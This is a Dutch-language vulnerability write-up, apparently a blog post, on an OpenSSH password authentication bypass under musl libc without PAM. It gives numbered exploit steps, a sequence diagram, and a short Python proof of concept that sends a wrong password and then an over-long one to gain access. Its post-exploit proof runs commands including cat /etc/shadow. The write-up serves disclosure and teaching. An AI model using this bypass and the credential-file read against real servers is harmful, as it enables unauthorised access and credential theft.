Informatie

GegevenWaarde
NaamSSHole
CVECVE-2026-123158
CVSS 3.18.1 High
EPSS14.2%

Wat is dit?

sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.

Dit betrekt zwakheden:

  • CWE-303 - Incorrect Implementation of Authentication Algorithm
  • CWE-394 - Unexpected Status Code or Return Value

Dit betrekt systemen met:

  • OpenSSH voor versie 10.6p2, met het gebruik van de musl libc zonder PAM. Dit staat bijvoorbeeld op oudere versies van Alpine Linux.
  • User(s) met een ‘locked / no password / key-only’ wachtwoord ’*’. Zie /etc/shadow.
Repliceren kwetsbare omgeving

Wil je meer details? Ik heb hier al over geschreven!

Hoe is dit uit te buiten?

Over dezelfde TCP-connectie:

  1. Stuur eenmaal het verkeerde wachtwoord. Hierdoor gaat de crypt() functie rekenen op basis van de ’*’ in /etc/shadow, en hier zit de fout.
  2. Stuur een wachtwoord van tussen de 256-1024 karakters. crypt() returnt gelijk ’*’ zonder het te herberekenen. Hierdoor wordt dus de teruggeven ’*’ vergeleken met de ’*’ uit /etc/shadow, en deze komen uiteraard overeen! 😁
sequenceDiagram actor Attacker participant Server as sshd participant Musl as musl crypt() Note over Attacker,Server: Initial connection established to vulnerable SSHD activate Server Attacker->>Server: 1. Send short wrong password (e.g., "wrong") Server->>Musl: Invoke crypt() activate Musl Musl-->>Server: Compute hash using shadow salt deactivate Musl Note over Server: Authentication attempt 1 fails Server-->>Attacker: Auth rejected (hash mismatch) deactivate Server activate Server Attacker->>Server: 2. Send long password (256-1024 chars) Server->>Musl: Invoke crypt() activate Musl Musl-->>Server: Immediately return "*" (over-length input) deactivate Musl Note over Server: Internal comparison logic runs Server->>Server: Compare "*" with shadow entry ("*") alt Match found Server-->>Attacker: Authentication success else No match Server-->>Attacker: Authentication failed end deactivate Server

Voor een diagram van deze aanval in Sondre ga naar hier.

In code zal je dus dit doen (Let op: ik heb hier try except clauses weggehaald. Echte code moet checken voor fouten!):

# Send wrong password.
wrong_pw: str = "this_is_probably_not_the_correct_password"
auth_answer = transport.auth_password(username=user, password=wrong_pw)
 
# Try break in.
long_pw: str = 'a' * 300  # Must be bigger than 255 chars, smaller than 1024. :)
auth_answer = transport.auth_password(username=user, password=long_pw)
transport.execute_command("echo 'hacked!'")

Uitvoering

Dit is bewijs dat de volgende commando’s uitgevoerd konden worden na de exploit:

id  
cat /etc/shadow  
echo 'hacked lol :P'

SSHole poc.png